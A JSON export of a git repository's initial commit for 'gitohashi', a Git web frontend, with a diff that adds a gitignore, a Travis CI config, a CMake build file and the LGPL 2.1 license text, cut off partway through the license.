{"schema":"libjg2-1",
"vpath":"/git/",
"avatar":"/git/avatar/",
"alang":"",
"gen_ut":1745463545,
"reponame":"gitohashi",
"desc":"Git web frontend with clientside rendering",
"owner": { "name": "Andy Green", "email": "andy@warmcat.com", "md5": "c50933ca2aa61e0fe2c43d46bb6b59cb" },"url":"https://warmcat.com/repo/gitohashi",
"f":3,
"items": [
{"schema":"libjg2-1",
"cid":"3037c323472796a2f98559465c151da6",
"commit": {"type":"commit",
"time": 1536658360,
"time_ofs": 480,
"oid_tree": { "oid": "f2b655aaf4f95ab9466d7392cab9adee3b3dc377", "alias": []},
"oid":{ "oid": "e3df339f0e1d46bf2b00c59fa08690746f8b445e", "alias": []},
"msg": "initial commit",
"sig_commit": { "git_time": { "time": 1536658360, "offset": 480 }, "name": "Andy Green", "email": "andy@warmcat.com", "md5": "c50933ca2aa61e0fe2c43d46bb6b59cb" },
"sig_author": { "git_time": { "time": 1532991646, "offset": 480 }, "name": "Andy Green", "email": "andy@warmcat.com", "md5": "c50933ca2aa61e0fe2c43d46bb6b59cb" }},
"body": "initial commit\n"
,
"diff": "diff --git a/.gitignore b/.gitignore\nnew file mode 100644\nindex 0000000..4c9346e\n--- /dev/null\n+++ b/.gitignore\n@@ -0,0 +1,4 @@\n+build\n+.cproject\n+.project\n+.settings\ndiff --git a/.travis.yml b/.travis.yml\nnew file mode 100644\nindex 0000000..58518ae\n--- /dev/null\n+++ b/.travis.yml\n@@ -0,0 +1,17 @@\n+env:\n+ matrix:\n+ - LWS_METHOD\u003ddefault CMAKE_ARGS\u003d\u0022\u0022\n+\n+os:\n+ - linux\n+ - osx\n+\n+language: generic\n+\n+install: if [ \u0022$TRAVIS_OS_NAME\u0022 \u003d\u003d \u0022linux\u0022 ]; then sudo apt-get update -qq ; sudo apt-get install -y -qq libgit2-0 libgit2-dev libarchive13 libarchive-dev ; fi ; if [ \u0022$TRAVIS_OS_NAME\u0022 \u003d\u003d \u0022osx\u0022 ]; then brew update; brew install libgit2 ; fi\n+\n+script: git clone https://libwebsockets.org:444/repo/libwebsockets \u0026\u0026 cd libwebsockets \u0026\u0026 mkdir build \u0026\u0026 cd build \u0026\u0026 if [ \u0022$TRAVIS_OS_NAME\u0022 \u003d \u0022osx\u0022 ] ; then cmake -DOPENSSL_ROOT_DIR\u003d\u0022/usr/local/opt/openssl\u0022 .. ; else cmake .. ; fi \u0026\u0026 cmake --build . \u0026\u0026 sudo make install \u0026\u0026 cd ../.. \u0026\u0026 mkdir build \u0026\u0026 cd build \u0026\u0026 if [ \u0022$TRAVIS_OS_NAME\u0022 \u003d \u0022osx\u0022 ] ; then CFLAGS\u003d\u0022-I/usr/local/opt/openssl/include\u0022 cmake -DCMAKE_REQUIRED_INCLUDES\u003d\u0022/usr/local/opt/openssl/include\u0022 $CMAKE_ARGS .. ; CFLAGS\u003d\u0022-I/usr/local/opt/openssl/include\u0022 cmake --build . ; else cmake $CMAKE_ARGS .. ; cmake --build . ; fi \u0026\u0026 sudo make install\n+\n+sudo: required\n+dist: trusty\n+\ndiff --git a/CMakeLists.txt b/CMakeLists.txt\nnew file mode 100644\nindex 0000000..404dcbd\n--- /dev/null\n+++ b/CMakeLists.txt\n@@ -0,0 +1,231 @@\n+cmake_minimum_required(VERSION 2.8)\n+include(CheckCSourceCompiles)\n+include(CheckIncludeFile)\n+\n+set(PROJ gitohashi)\n+project (gitohashi C)\n+\n+#\n+# You can override where gitohashi gets its dependent library and includes\n+# from, at the cmake commandline. For libwebsockets, eg:\n+#\n+# cmake .. -DGOH_LWS_INC_PATH\u003d/usr/local/include \u005c\n+# -DGOH_LWS_LIB_PATH\u003d/usr/local/lib/libwebsockets.so\n+#\n+# For git2, eg\n+#\n+# cmake .. -DJG2_GIT2_INC_PATH\u003d/usr/local/include \u005c\n+# -DJG2_GIT2_LIB_PATH\u003d/usr/local/lib/libgit2.so\n+#\n+# and for libarchive, eg\n+#\n+# cmake .. -DJG2_ARCHIVE_INC_PATH\u003d/usr/local/include \u005c\n+# \n+\n+# enable this if you want to run gitohashi from another lws application via\n+# its protocol plugins alone\n+#\n+option(GOH_LWS_PLUGINS \u0022Also build lws protocol plugins\u0022 OFF)\n+\n+\n+set(GOH_DEPLIBS jsongit2)\n+set(JG2_DEPLIBS pthread)\n+\n+#\n+# libgit2 paths\n+#\n+find_path( JG2_GIT2_INC_PATH NAMES \u0022git2.h\u0022)\n+find_library(JG2_GIT2_LIB_PATH NAMES \u0022git2\u0022)\n+\n+if (JG2_GIT2_INC_PATH AND JG2_GIT2_LIB_PATH)\n+\tset(JG2_DEPLIBS ${JG2_GIT2_LIB_PATH} ${JG2_DEPLIBS})\n+\tinclude_directories(BEFORE \u0022${JG2_GIT2_INC_PATH}\u0022)\n+else()\n+\tmessage(FATAL_ERROR \u0022 Unable to find libgit2\u0022)\n+endif()\n+\n+#\n+# libarchive paths\n+#\n+find_path( JG2_ARCHIVE_INC_PATH NAMES \u0022archive.h\u0022)\n+find_library(JG2_ARCHIVE_LIB_PATH NAMES \u0022archive\u0022)\n+\n+if (JG2_ARCHIVE_INC_PATH AND JG2_ARCHIVE_LIB_PATH)\n+\tset(JG2_DEPLIBS ${JG2_ARCHIVE_LIB_PATH} ${JG2_DEPLIBS})\n+\tinclude_directories(BEFORE \u0022${JG2_ARCHIVE_INC_PATH}\u0022)\n+\tset(JG2_HAVE_ARCHIVE_H \u0022Y\u0022)\n+endif()\n+\n+#\n+# libwebsockets paths\n+#\n+find_path( GOH_LWS_INC_PATH NAMES \u0022libwebsockets.h\u0022)\n+find_library(GOH_LWS_LIB_PATH NAMES \u0022websockets\u0022)\n+\n+if (GOH_LWS_INC_PATH AND GOH_LWS_LIB_PATH)\n+\tset(GOH_DEPLIBS ${GOH_LWS_LIB_PATH} ${GOH_DEPLIBS})\n+\tinclude_directories(BEFORE \u0022${GOH_LWS_INC_PATH}\u0022)\n+else()\n+\tmessage(FATAL_ERROR \u0022 Unable to find libwebsockets\u0022)\n+endif()\n+\n+\n+set(CMAKE_REQUIRED_INCLUDES \u0022include\u0022)\n+CHECK_C_SOURCE_COMPILES(\n+\t\u0022#include \u003cgit2.h\u003e\n+\tint main(int argc, char **argv) { return GIT_BLAME_USE_MAILMAP; }\n+\t\u0022 JG2_HAVE_BLAME_MAILMAP)\n+\n+set(JG2_SOURCES lib/cache.c\n+\t lib/main.c\n+\t lib/repostate.c\n+\t lib/util.c\n+\n+\t lib/job/job.c\n+\t lib/job/reflist.c\n+\t lib/job/log.c\n+\t lib/job/commit.c\n+\t lib/job/tree.c\n+\t lib/job/plain.c\n+\t lib/job/repos.c\n+\t lib/job/blame.c\n+\t lib/job/blog.c\n+\n+\t lib/conf/gitolite.c\n+\t lib/conf/scan-repos.c\n+\n+\t lib/email/md5.c\n+\t lib/email/email.c\n+\n+\t lib/lac/lac.c\n+\t lib/lac/cached-file.c\n+)\n+\n+if (JG2_HAVE_ARCHIVE_H)\n+\tset(JG2_SOURCES ${JG2_SOURCES} lib/job/snapshot.c)\n+\tset(JG2_DEPLIBS ${JG2_DEPLIBS} archive)\n+else()\n+\tset(JG2_SOURCES ${JG2_SOURCES} lib/job/no-snapshot.c)\n+endif()\n+\n+configure_file(\u0022cmake/config.h.in\u0022 \u0022${PROJECT_BINARY_DIR}/jg2-config.h\u0022)\n+add_library(jsongit2 SHARED ${JG2_SOURCES})\n+set(HDR_PUBLIC \u0022include/libjsongit2.h\u0022 \u0022${PROJECT_BINARY_DIR}/jg2-config.h\u0022)\n+set_target_properties(jsongit2 PROPERTIES PUBLIC_HEADER \u0022${HDR_PUBLIC}\u0022)\n+target_include_directories(jsongit2 PRIVATE \u0022${PROJECT_BINARY_DIR}\u0022\n+\t\t\t\t\t \u0022${PROJECT_SOURCE_DIR}/include\u0022) \n+target_link_libraries(jsongit2 ${JG2_DEPLIBS})\n+\n+set(CPACK_COMPONENT_LIBRARIES_DISPLAY_NAME \u0022Libraries\u0022)\n+set(CPACK_COMPONENT_DEV_DISPLAY_NAME \u0022Development files\u0022)\n+\n+# jsongit2 examples \n+\n+add_executable(jg2-example examples/minimal/jg2-example.c)\n+target_link_libraries(jg2-example jsongit2)\n+target_include_directories(jg2-example PRIVATE \u0022${PROJECT_SOURCE_DIR}/include\u0022)\n+\n+add_executable(jg2-threadchurn examples/threadchurn/threadchurn.c)\n+target_link_libraries(jg2-threadchurn jsongit2 pthread)\n+target_include_directories(jg2-threadchurn PRIVATE \u0022${PROJECT_SOURCE_DIR}/include\u0022)\n+\n+\n+message(\u0022----------------------------- dependent libs -----------------------------\u0022)\n+message(\u0022 libgit2: include: ${JG2_GIT2_INC_PATH}, lib: ${JG2_GIT2_LIB_PATH}\u0022)\n+message(\u0022 libgit2: has GIT_BLAME_USE_MAILMAP: ${JG2_HAVE_BLAME_MAILMAP}\u0022)\n+if (NOT JG2_HAVE_ARCHIVE_H)\n+\tmessage(\u0022 libarchive: not found\u0022)\n+else()\n+\tmessage(\u0022 libarchive: include: ${JG2_ARCHIVE_INC_PATH}, lib: ${JG2_ARCHIVE_LIB_PATH}\u0022)\n+endif()\n+message(\u0022 libwebsockets: include: ${GOH_LWS_INC_PATH}, lib: ${GOH_LWS_LIB_PATH}\u0022)\n+message(\u0022 lws plugins: ${GOH_LWS_PLUGINS}\u0022)\n+\n+\n+\n+if (CMAKE_COMPILER_IS_GNUCC OR CMAKE_COMPILER_IS_GNUCXX OR (CMAKE_C_COMPILER_ID MATCHES \u0022Clang\u0022) OR (CMAKE_CXX_COMPILER_ID MATCHES \u0022Clang\u0022))\n+ include (CheckCCompilerFlag)\n+ \n+ set(CMAKE_C_FLAGS \u0022-Wall -Wsign-compare -Wignored-qualifiers -Wtype-limits -Wuninitialized -Werror -Wundef ${CMAKE_C_FLAGS}\u0022 )\n+endif()\n+\n+set(LIB_DIR lib CACHE PATH \u0022Install dir for libraries\u0022)\n+set(BIN_DIR bin CACHE PATH \u0022Install dir for executables\u0022)\n+set(INCLUDE_DIR include CACHE PATH \u0022Install dir for header files\u0022)\n+set(DATA_DIR share CACHE PATH \u0022Install dir for data files\u0022)\n+\n+install(TARGETS jsongit2\n+\t\tjg2-example\n+\t\tjg2-threadchurn\n+\n+\tLIBRARY DESTINATION \u0022${LIB_DIR}${LIB_SUFFIX}\u0022 COMPONENT libraries\n+\tARCHIVE DESTINATION \u0022${LIB_DIR}${LIB_SUFFIX}\u0022 COMPONENT libraries\n+\tRUNTIME DESTINATION \u0022${BIN_DIR}\u0022 COMPONENT libraries\n+\tPUBLIC_HEADER DESTINATION \u0022${INCLUDE_DIR}\u0022 COMPONENT dev)\n+\n+\n+\n+install(FILES assets/github.css\n+\t assets/logo.css\n+\t assets/gitohashi-custom.css\n+\t assets/highlight.pack.js\n+\t assets/jg2.css\n+\t assets/jg2.js\n+\t assets/inconsolata.ttf\n+\t assets/showdown.min.js\n+\t assets/showdown.min.js.map\n+\t\t\tDESTINATION \u0022${DATA_DIR}/gitohashi/assets\u0022)\n+\t\t\t\n+install(FILES example-cert/localhost-100y.cert.pem\n+\t example-cert/localhost-100y.key.pem\n+\t\t\tDESTINATION \u0022${DATA_DIR}/gitohashi/example-cert\u0022)\n+\t\t\t\n+install(FILES templates/gitohashi-example.html\n+\t\t\tDESTINATION \u0022${DATA_DIR}/gitohashi/templates\u0022)\n+\t\t\t\n+install(FILES system/gitohashi-selinux.pp\n+\t\t\tDESTINATION \u0022${DATA_DIR}/gitohashi\u0022)\n+\t\t\t\n+install(FILES system/gitohashi.service\n+\t\t\tDESTINATION \u0022${LIB_DIR}/systemd/system\u0022)\n+\n+add_executable(${PROJ}\n+\tsrc/main.c\n+\n+)\n+target_link_libraries(${PROJ} websockets jsongit2)\n+target_include_directories(${PROJ} PRIVATE \u0022${PROJECT_SOURCE_DIR}/include\u0022)\n+\n+install(TARGETS ${PROJ} RUNTIME DESTINATION ${BIN_DIR})\n+\n+\n+if (GOH_LWS_PLUGINS)\n+\tadd_library(protocol_gitohashi SHARED src/protocol_gitohashi.c)\n+\t\n+\ttarget_link_libraries(protocol_gitohashi -lwebsockets jsongit2)\n+\n+\tset_property(TARGET protocol_gitohashi\n+\t\t PROPERTY COMPILE_DEFINITIONS\n+\t\t INSTALL_DATADIR\u003d\u0022${CMAKE_INSTALL_PREFIX}/plugins\u0022\n+\t)\n+\t\n+\tlist(APPEND PLUGINS_LIST protocol_gitohashi)\n+\t\n+\t\n+\tadd_library(protocol_avatar_proxy SHARED src/protocol_avatar-proxy.c)\n+\t\n+\ttarget_link_libraries(protocol_avatar_proxy -lwebsockets jsongit2)\n+\n+\tset_property(TARGET protocol_avatar_proxy\n+\t\t PROPERTY COMPILE_DEFINITIONS\n+\t\t INSTALL_DATADIR\u003d\u0022${CMAKE_INSTALL_PREFIX}/plugins\u0022\n+\t)\n+\t\n+\tlist(APPEND PLUGINS_LIST protocol_avatar_proxy)\n+\t\n+\tinstall(TARGETS ${PLUGINS_LIST}\n+\t\tPERMISSIONS OWNER_WRITE OWNER_EXECUTE GROUP_EXECUTE WORLD_EXECUTE OWNER_READ GROUP_READ WORLD_READ\n+\t\tDESTINATION share/libwebsockets-test-server/plugins\n+\t\tCOMPONENT plugins)\n+\n+endif()\ndiff --git a/LICENSE b/LICENSE\nnew file mode 100644\nindex 0000000..266c8ec\n--- /dev/null\n+++ b/LICENSE\n@@ -0,0 +1,515 @@\n+Note 1: LGPL may seem a bit of a strange choice for a daemon, however,\n+most of the sources originated in either libjsongit2 or libwebsockets\n+which are LGPL2 and are already so licensed. Since it's not a lib\n+though the SLE makes no sense and is removed. So it's plain LGPL2.1.\n+\n+Note 2: Some parts of gitohashi came from other more liberally-\n+licensed projects and they have their original liberal license retained.\n+You can get them from the original projects:\n+\n+ - showdown - see license + upstream url copied into README.md\n+ - highlight.js - see license + upstream url copied into README.md\n+\n+ \n+ GNU LESSER GENERAL PUBLIC LICENSE\n+ Version 2.1, February 1999\n+\n+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.\n+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n+ Everyone is permitted to copy and distribute verbatim copies\n+ of this license document, but changing it is not allowed.\n+\n+[This is the first released version of the Lesser GPL. It also counts\n+ as the successor of the GNU Library Public License, version 2, hence\n+ the version number 2.1.]\n+\n+ Preamble\n+\n+ The licenses for most software are designed to take away your\n+freedom to share and change it. By contrast, the GNU General Public\n+Licenses are intended to guarantee your freedom to share and change\n+free software--to make sure the software is free for all its users.\n+\n+ This license, the Lesser General Public License, applies to some\n+specially designated software packages--typically libraries--of the\n+Free Software Foundation and other authors who decide to use it. You\n+can use it too, but we suggest you first think carefully about whether\n+this license or the ordinary General Public License is the better\n+strategy to use in any particular case, based on the explanations below.\n+\n+ When we speak of free software, we are referring to freedom of use,\n+not price. Our General Public Licenses are designed to make sure that\n+you have the freedom to distribute copies of free software (and charge\n+for this service if you wish); that you receive source code or can get\n+it if you want it; that you can change the software and use pieces of\n+it in new free programs; and that you are informed that you can do\n+these things.\n+\n+ To protect your rights, we need to make restrictions that forbid\n+distributors to deny you these rights or to ask you to surrender these\n+rights. These restrictions translate to certain responsibilities for\n+you if you distribute copies of the library or if you modify it.\n+\n+ For example, if you distribute copies of the library, whether gratis\n+or for a fee, you must give the recipients all the rights that we gave\n+you. You must make sure that they, too, receive or can get the source\n+code. If you link other code with the library, you must provide\n+complete object files to the recipients, so that they can relink them\n+with the library after making changes to the library and recompiling\n+it. And you must show them these terms so they know their rights.\n+\n+ We protect your rights with a two-step method: (1) we copyright the\n+library, and (2) we offer you this license, which gives you legal\n+permission to copy, distribute and/or modify the library.\n+\n+ To protect each distributor, we want to make it very clear that\n+there is no warranty for the free library. Also, if the library is\n+modified by someone else and passed on, the recipients should know\n+that what they have is not the original version, so that the original\n+author's reputation will not be affected by problems that might be\n+introduced by others.\n+\u000c\n+ Finally, software patents pose a constant threat to the existence of\n+any free program. We wish to make sure that a company cannot\n+effectively restrict the users of a free program by obtaining a\n+restrictive license from a patent holder. Therefore, we insist that\n+any patent license obtained for a version of the library must be\n+consistent with the full freedom of use specified in this license.\n+\n+ Most GNU software, including some libraries, is covered by the\n+ordinary GNU General Public License. This license, the GNU Lesser\n+General Public License, applies to certain designated libraries, and\n+is quite different from the ordinary General Public License. We use\n+this license for certain libraries in order to permit linking those\n+libraries into non-free programs.\n+\n+ When a program is linked with a library, whether statically or using\n+a shared library, the combination of the two is legally speaking a\n+combined work, a derivative of the original library. The ordinary\n+General Public License therefore permits such linking only if the\n+entire combination fits its criteria of freedom. The Lesser General\n+Public License permits more lax criteria for linking other code with\n+the library.\n+\n+ We call this license the \u0022Lesser\u0022 General Public License because it\n+does Less to protect the user's freedom than the ordinary General\n+Public License. It also provides other free software developers Less\n+of an advantage over competing non-free programs. These disadvantages\n+are the reason we use the ordinary General Public License for many\n+libraries. However, the Lesser license provides advantages in certain\n+special circumstances.\n+\n+ For example, on rare occasions, there may be a special need to\n+encourage the widest possible use of a certain library, so that it becomes\n+a de-facto standard. To achieve this, non-free programs must be\n+allowed to use the library. A more frequent case is that a free\n+library does the same job as widely used non-free libraries. In this\n+case, there is little to gain by limiting the free library to free\n+software only, so we use the Lesser General Public License.\n+\n+ In other cases, permission to use a particular library in non-free\n+programs enables a greater number of people to use a large body of\n+free software. For example, permission to use the GNU C Library in\n+non-free programs enables many more people to use the whole GNU\n+operating system, as well as its variant, the GNU/Linux operating\n+system.\n+\n+ Although the Lesser General Public License is Less protective of the\n+users' freedom, it does ensure that the user of a program that is\n+linked with the Library has the freedom and the wherewithal to run\n+that program using a modified version of the Library.\n+\n+ The precise terms and conditions for copying, distribution and\n+modification follow. Pay close attention to the difference between a\n+\u0022work based on the library\u0022 and a \u0022work that uses the library\u0022. The\n+former contains code derived from the library, whereas the latter must\n+be combined with the library in order to run.\n+\u000c\n+ GNU LESSER GENERAL PUBLIC LICENSE\n+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n+\n+ 0. This License Agreement applies to any software library or other\n+program which contains a notice placed by the copyright holder or\n+other authorized party saying it may be distributed under the terms of\n+this Lesser General Public License (also called \u0022this License\u0022).\n+Each licensee is addressed as \u0022you\u0022.\n+\n+ A \u0022library\u0022 means a collection of software functions and/or data\n+prepared so as to be conveniently linked with application programs\n+(which use some of those functions and data) to form executables.\n+\n+ The \u0022Library\u0022, below, refers to any such software library or work\n+which has been distributed under these terms. A \u0022work based on the\n+Library\u0022 means either the Library or any derivative work under\n+copyright law: that is to say, a work containing the Library or a\n+portion of it, either verbatim or with modifications and/or translated\n+straightforwardly into another language. (Hereinafter, translation is\n+included without limitation in the term \u0022modification\u0022.)\n+\n+ \u0022Source code\u0022 for a work means the preferred form of the work for\n+making modifications to it. For a library, complete source code means\n+all the source code for all modules it contains, plus any associated\n+interface definition files, plus the scripts used to control compilation\n+and installation of the library.\n+\n+ Activities other than copying, distribution and modification are not\n+covered by this License; they are outside its scope. The act of\n+running a program using the Library is not restricted, and output from\n+such a program is covered only if its contents constitute a work based\n+on the Library (independent of the use of the Library in a tool for\n+writing it). Whether that is true depends on what the Library does\n+and what the program that uses the Library does.\n+\n+ 1. You may copy and distribute verbatim copies of the Library's\n+complete source code as you receive it, in any medium, provided that\n+you conspicuously and appropriately publish on each copy an\n+appropriate copyright notice and disclaimer of warranty; keep intact\n+all the notices that refer to this License and to the absence of any\n+warranty; and distribute a copy of this License along with the\n+Library.\n+\n+ You may charge a fee for the physical act of transferring a copy,\n+and you may at your option offer warranty protection in exchange for a\n+fee.\n+\u000c\n+ 2. You may modify your copy or copies of the Library or any portion\n+of it, thus forming a work based on the Library, and copy and\n+distribute such modifications or work under the terms of Section 1\n+above, provided that you also meet all of these conditions:\n+\n+ a) The modified work must itself be a software library.\n+\n+ b) You must cause the files modified to carry prominent notices\n+ stating that you changed the files and the date of any change.\n+\n+ c) You must cause the whole of the work to be licensed at no\n+ charge to all third parties under the terms of this License.\n+\n+ d) If a facility in the modified Library refers to a function or a\n+ table of data to be supplied by an application program that uses\n+ the facility, other than as an argument passed when the facility\n+ is invoked, then you must make a good faith effort to ensure that,\n+ in the event an application does not supply such function or\n+ table, the facility still operates, and performs whatever part of\n+ its purpose remains meaningful.\n+\n+ (For example, a function in a library to compute square roots has\n+ a purpose that is entirely well-defined independent of the\n+ application. Therefore, Subsection 2d requires that any\n+ application-supplied function or table used by this function must\n+ be optional: if the application does not supply it, the square\n+ root function must still compute square roots.)\n+\n+These requirements apply to the modified work as a whole. If\n+identifiable sections of that work are not derived from the Library,\n+and can be reasonably considered independent and separate works in\n+themselves, then this License, and its terms, do not apply to those\n+sections when you distribute them as separate works. But when you\n+distribute the same sections as part of a whole which is a work based\n+on the Library, the distribution of the whole must be on the terms of\n+this License, whose permissions for other licensees extend to the\n+entire whole, and thus to each and every part regardless of who wrote\n+it.\n+\n+Thus, it is not the intent of this section to claim rights or contest\n+your rights to work written entirely by you; rather, the intent is to\n+exercise the right to control the distribution of derivative or\n+collective works based on the Library.\n+\n+In addition, mere aggregation of another work not based on the Library\n+with the Library (or with a work based on the Library) on a volume of\n+a storage or distribution medium does not bring the other work under\n+the scope of this License.\n+\n+ 3. You may opt to apply the terms of the ordinary GNU General Public\n+License instead of this License to a given copy of the Library. To do\n+this, you must alter all the notices that refer to this License, so\n+that they refer to the ordinary GNU General Public License, version 2,\n+instead of to this License. (If a newer version than version 2 of the\n+ordinary GNU General Public License has appeared, then you can specify\n+that version instead if you wish.) Do not make any other change in\n+these notices.\n+\u000c\n+ Once this change is made in a given copy, it is irreversible for\n+that copy, so the ordinary GNU General Public License applies to all\n+subsequent copies and derivative works made from that copy.\n+\n+ This option is useful when you wish to copy part of the code of\n+the Library into a program that is not a library.\n+\n+ 4. You may copy and distribute the Library (or a portion or\n+derivative of it, under Section 2) in object code or executable form\n+under the terms of Sections 1 and 2 above provided that you accompany\n+it with the complete corresponding machine-readable source code, which\n+must be distributed under the terms of Sections 1 and 2 above on a\n+medium customarily used for software interchange.\n+\n+ If distribution of object code is made by offering access to copy\n+from a designated place, then offering equivalent access to copy the\n+source code from the same place satisfies the requirement to\n+distribute the source code, even though third parties are not\n+compelled to copy the source along with the object code.\n+\n+ 5. A program that contains no derivative of any portion of the\n+Library, but is designed to work with the Library by being compiled or\n+linked with it, is called a \u0022work that uses the Library\u0022. Such a\n+work, in isolation, is not a derivative work of the Library, and\n+therefore falls outside the scope of this License.\n+\n+ However, linking a \u0022work that uses the Library\u0022 with the Library\n+creates an executable that is a derivative of the Library (because it\n+contains portions of the Library), rather than a \u0022work that uses the\n+library\u0022. The executable is therefore covered by this License.\n+Section 6 states terms for distribution of such executables.\n+\n+ When a \u0022work that uses the Library\u0022 uses material from a header file\n+that is part of the Library, the object code for the work may be a\n+derivative work of the Library even though the source code is not.\n+Whether this is true is especially significant if the work can be\n+linked without the Library, or if the work is itself a library. The\n+threshold for this to be true is not precisely defined by law.\n+\n+ If such an object file uses only numerical parameters, data\n+structure layouts and accessors, and small macros and small inline\n+functions (ten lines or less in length), then the use of the object\n+file is unrestricted, regardless of whether it is legally a derivative\n+work. (Executables containing this object code plus portions of the\n+Library will still fall under Section 6.)\n+\n+ Otherwise, if the work is a derivative of the Library, you may\n+distribute the object code for the work under the terms of Section 6.\n+Any executables containing that work also fall under Section 6,\n+whether or not they are linked directly with the Library itself.\n+\u000c\n+ 6. As an exception to the Sections above, you may also combine or\n+link a \u0022work that uses the Library\u0022 with the Library to produce a\n+work containing portions of the Library, and distribute that work\n+under terms of your choice, provided that the terms permit\n+modification of the work for the customer's own use and reverse\n+engineering for debugging such modifications.\n+\n+ You must give prominent notice with each copy of the work that the\n+Library is used in it and that the Library and its use are covered by\n+this License. You must supply a copy of this License. If the work\n+during execution displays copyright notices, you must include the\n+copyright notice for the Library among them, as well as a reference\n+directing the user to the copy of this License. Also, you must do one\n+of these things:\n+\n+ a) Accompany the work with the complete corresponding\n+ machine-readable source code for the Library including whatever\n+ changes were used in the work (which must be distributed under\n+ Sections 1 and 2 above); and, if the work is an executable linked\n+ with the Library, with the complete machine-readable \u0022work that\n+ uses the Library\u0022, as object code and/or source code, so that the\n+ user can modify the Library and then relink to produce a modified\n+ executable containing the modified Library. (It is understood\n+ that the user who changes the contents of definitions files in the\n+ Library will not necessarily be able to recompile the application\n+ to use the modified definitions.)\n+\n+ b) Use a suitable shared library mechanism for linking with the\n+ Library. A suitable mechanism is one that (1) uses at run time a\n+ copy of the library already present on the user's computer system,\n+ rather than copying library functions into the executable, and (2)\n+ will operate properly with a modified version of the library, if\n+ the user installs one, as long as the modified version is\n+ interface-compatible with the version that the work was made with.\n+\n+ c) Accompany the work with a written offer, valid for at\n+ least three years, to give the same user the materials\n+ specified in Subsection 6a, above, for a charge no more\n+ than the cost of performing this distribution.\n+\n+ d) If distribution of the work is made by offering access to copy\n+ from a designated place, offer equivalent access to copy the above\n+ specified materials from the same place.\n+\n+ e) Verify that the user has already received a copy of these\n+ materials or that you have already sent this user a copy.\n+\n+ For an executable, the required form of the \u0022work that uses the\n+Library\u0022 must include any data and utility programs needed for\n+reproducing the executable from it. However, as a special exception,\n+the materials to be distributed need not include anything that is\n+normally distributed (in either source or binary form) with the major\n+components (compiler, kernel, and so on) of the operating system on\n+which the executable runs, unless that component itself accompanies\n+the executable.\n+\n+ It may happen that this requirement contradicts the license\n+restrictions of other proprietary libraries that do not normally\n+accompany the operating system. Such a contradiction means you cannot\n+use both them and the Library together in an executable that you\n+distribute.\n+\u000c\n+ 7. You may place library facilities that are a work based on the\n+Library side-by-side in a single library together with other library\n+facilities not covered by this License, and distribute such a combined\n+library, provided that the separate distribution of the work based on\n+the Library and of the other library facilities is otherwise\n+permitted, and provided that you do these two things:\n+\n+ a) Accompany the combined library with a copy of the same work\n+ based on the Library, uncombined with any other library\n+ facilities. This must be distributed under the terms of the\n+ Sections above.\n+\n+ b) Give prominent notice with the combined library of the fact\n+ that part of it is a work based on the Library, and explaining\n+ where to find the accompanying uncombined form of the same work.\n+\n+ 8. You may not copy, modify, sublicense, link with, or distribute\n+the Library except as expressly provided under this License. Any\n+attempt otherwise to copy, modify, sublicense, link with, or\n+distribute the Library is void, and will automatically terminate your\n+rights under this License. However, parties who have received copies,\n+or rights, from you under this License will not have their licenses\n+terminated so long as such parties remain in full compliance.\n+\n+ 9. You are not required to accept this License, since you have not\n+signed it. However, nothing else grants you permission to modify or\n+distribute the Library or its derivative works. These actions are\n+prohibited by law if you do not accept this License. Therefore, by\n+modifying or distributing the Library (or any work based on the\n+Library), you indicate your acceptance of this License to do so, and\n+all its terms and conditions for copying, distributing or modifying\n+the Library or works based on it.\n+\n+ 10. Each time you redistribute the Library (or any work based on the\n+Library), the recipient automatically receives a license from the\n+original licensor to copy, distribute, link with or modify the Library\n+subject to these terms and conditions. You may not impose any further\n+restrictions on the recipients' exercise of the rights granted herein.\n+You are not responsible for enforcing compliance by third parties with\n+this License.\n+\u000c\n+ 11. If, as a consequence of a court judgment or allegation of patent\n+infringement or for any other reason (not limited to patent issues),\n+conditions are imposed on you (whether by court order, agreement or\n+otherwise) that contradict the conditions of this License, they do not\n+excuse you from the conditions of this License. If you cannot\n+distribute so as to satisfy simultaneously your obligations under this\n+License and any other pertinent obligations, then as a consequence you\n+may not distribute the Library at all. For example, if a patent\n+license would not permit royalty-free redistribution of the Library by\n+all those who receive copies directly or indirectly through you, then\n+the only way you could satisfy both it and this License would be to\n+refrain entirely from distribution of the Library.\n+\n+If any portion of this section is held invalid or unenforceable under any\n+particular circumstance, the balance of the section is intended to apply,\n+and the section as a whole is intended to apply in other circumstances.\n+\n+It is not the purpose of this section to induce you to infringe any\n+patents or other property right claims or to contest validity of any\n+such claims; this section has the sole purpose of protecting the\n+integrity of the free software distribution system which is\n+implemented by public license practices. Many people have made\n+generous contributions to the wide range of software distributed\n+through that system in reliance on consistent application of that\n+system; it is up to the author/donor to decide if he or she is willing\n+to distribute software through any other system and a licensee cannot\n+impose that choice.\n+\n+This section is intended to make thoroughly clear what is believed to\n+be a consequence of the rest of this License.\n+\n+ 12. If the distribution and/or use of the Library is restricted in\n+certain countries either by patents or by copyrighted interfaces, the\n+original copyright holder who places the Library under this License may add\n+an explicit geographical distribution limitation excluding those countries,\n+so that distribution is permitted only in or among countries not thus\n+excluded. In such case, this License incorporates the limitation as if\n+written in the body of this License.\n+\n+ 13. The Free Software Foundation may publish revised and/or new\n+versions of the Lesser General Public License from time to time.\n+Such new versions will be similar in spirit to the present version,\n+but may differ in detail to address new problems or concerns.\n+\n+Each version is given a distinguishing version number. If the Library\n+specifies a version number of this License which applies to it and\n+\u0022any later version\u0022, you have the option of following the terms and\n+conditions either of that version or of any later version published by\n+the Free Software Foundation. If the Library does not specify a\n+license version number, you may choose any version ever published by\n+the Free Software Foundation.\n+\u000c\n+ 14. If you wish to incorporate parts of the Library into other free\n+programs whose distribution conditions are incompatible with these,\n+write to the author to ask for permission. For software which is\n+copyrighted by the Free Software Foundation, write to the Free\n+Software Foundation; we sometimes make exceptions for this. Our\n+decision will be guided by the two goals of preserving the free status\n+of all derivatives of our free software and of promoting the sharing\n+and reuse of software generally.\n+\n+ NO WARRANTY\n+\n+ 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO\n+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.\n+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR\n+OTHER PARTIES PROVIDE THE LIBRARY \u0022AS IS\u0022 WITHOUT WARRANTY OF ANY\n+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE\n+IMPLIED WARRANTIES OF 